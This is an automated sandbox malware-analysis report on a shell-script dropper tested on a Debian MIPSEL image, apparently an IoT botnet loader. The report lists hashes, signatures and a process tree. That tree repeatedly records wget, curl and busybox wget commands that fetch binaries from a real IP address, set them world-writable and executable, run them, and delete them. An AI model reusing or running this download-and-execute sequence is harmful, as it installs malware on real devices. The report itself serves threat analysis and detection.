e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a

Analysis

max time kernel
127s
max time network
131s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/10/2024, 05:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a.sh
Size 10KB
Sample241027-f489cssjel
SHA256 e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a
MD5 efcaffc585454240b3996a21cf89ba81
SHA1 e50e8dd97c2cb9a7316233c63fe11db4e5f0f10a
SHA512 47cbef3ab26c4d66ec60f3c44a8553b76d17d64ec6f071f39d3c9c727f30a490333a6afffb6c9c255eda9979b1390e6e160faa5dc44b58bbfc23c4a57ed4c10e
SSDEEP 192:Jybggd81MlUCUyUtUEUmFUof7CPoggd8HeUCUyUtUEUmFUx:Jybggd81MC9fWAggd8HFy
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
889	chmod
937	chmod
739	chmod
811	chmod
865	chmod
859	chmod
931	chmod
907	chmod
949	chmod
821	chmod
967	chmod
733	chmod
781	chmod
805	chmod
961	chmod
725	chmod
871	chmod
943	chmod
925	chmod
955	chmod
883	chmod
901	chmod
913	chmod
895	chmod
919	chmod
755	chmod
843	chmod
877	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	curl
File opened for modification	/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	curl
File opened for modification	/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	curl
File opened for modification	/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	curl
File opened for modification	/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	curl
File opened for modification	/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	curl
File opened for modification	/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	curl
File opened for modification	/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	curl
File opened for modification	/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	curl
File opened for modification	/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	curl
File opened for modification	/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	curl
File opened for modification	/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	curl
File opened for modification	/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	curl
File opened for modification	/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	curl
File opened for modification	/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	curl
File opened for modification	/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	curl
File opened for modification	/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	curl
File opened for modification	/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	curl
File opened for modification	/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	curl
File opened for modification	/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	curl
File opened for modification	/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	curl
File opened for modification	/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	curl
File opened for modification	/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	curl
File opened for modification	/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	curl
File opened for modification	/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	curl
File opened for modification	/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	curl
File opened for modification	/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	curl
File opened for modification	/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	curl

/tmp/e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a.sh
/tmp/e66b6980d497e935d6df46d32e2b12778dcc2e55f7281c6c52fa39db173d349a.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:698
- /usr/bin/wget
  wget http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:704
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:722
- /bin/chmod
  chmod 777 LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  ./LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Executes dropped EXE
  PID:726
- /bin/rm
  rm LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:728
- /usr/bin/wget
  wget http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:729
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:732
- /bin/chmod
  chmod 777 j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  ./j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:735
- /usr/bin/wget
  wget http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:736
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:738
- /bin/chmod
  chmod 777 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  ./0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:741
- /usr/bin/wget
  wget http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:742
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:752
- /bin/chmod
  chmod 777 cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  ./cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:760
- /usr/bin/wget
  wget http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:769
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:778
- /bin/chmod
  chmod 777 NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  ./NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Executes dropped EXE
  PID:783
- /bin/rm
  rm NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:786
- /usr/bin/wget
  wget http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:796
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:803
- /bin/chmod
  chmod 777 bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  ./bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:807
- /usr/bin/wget
  wget http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:810
- /bin/chmod
  chmod 777 r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  ./r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:813
- /usr/bin/wget
  wget http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:818
- /bin/chmod
  chmod 777 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  ./0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:825
- /usr/bin/wget
  wget http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:840
- /bin/chmod
  chmod 777 UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  ./UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:848
- /usr/bin/wget
  wget http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:858
- /bin/chmod
  chmod 777 Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  ./Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:861
- /usr/bin/wget
  wget http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:864
- /bin/chmod
  chmod 777 txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  ./txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:870
- /bin/chmod
  chmod 777 HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  ./HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:873
- /usr/bin/wget
  wget http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:876
- /bin/chmod
  chmod 777 zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  ./zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:879
- /usr/bin/wget
  wget http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:882
- /bin/chmod
  chmod 777 tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  ./tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:885
- /usr/bin/wget
  wget http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:888
- /bin/chmod
  chmod 777 txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  ./txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  - Executes dropped EXE
  PID:890
- /bin/rm
  rm txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
  2⤵
  PID:891
- /usr/bin/wget
  wget http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:894
- /bin/chmod
  chmod 777 r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  ./r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:900
- /bin/chmod
  chmod 777 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  ./0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  - Executes dropped EXE
  PID:902
- /bin/rm
  rm 0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
  2⤵
  PID:903
- /usr/bin/wget
  wget http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:906
- /bin/chmod
  chmod 777 UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  ./UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
  2⤵
  PID:909
- /usr/bin/wget
  wget http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:912
- /bin/chmod
  chmod 777 Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - File and Directory Permissions Modification
  PID:913
- /tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  ./Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  - Executes dropped EXE
  PID:914
- /bin/rm
  rm Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
  2⤵
  PID:915
- /usr/bin/wget
  wget http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:918
- /bin/chmod
  chmod 777 HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  ./HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
  2⤵
  PID:921
- /usr/bin/wget
  wget http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:922
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:924
- /bin/chmod
  chmod 777 zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  ./zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
  2⤵
  PID:927
- /usr/bin/wget
  wget http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:930
- /bin/chmod
  chmod 777 tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - File and Directory Permissions Modification
  PID:931
- /tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  ./tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  - Executes dropped EXE
  PID:932
- /bin/rm
  rm tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:933
- /usr/bin/wget
  wget http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:934
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:935
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:936
- /bin/chmod
  chmod 777 LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  ./LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:939
- /usr/bin/wget
  wget http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:942
- /bin/chmod
  chmod 777 j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - File and Directory Permissions Modification
  PID:943
- /tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  ./j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Executes dropped EXE
  PID:944
- /bin/rm
  rm j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:945
- /usr/bin/wget
  wget http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:946
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:947
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:948
- /bin/chmod
  chmod 777 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
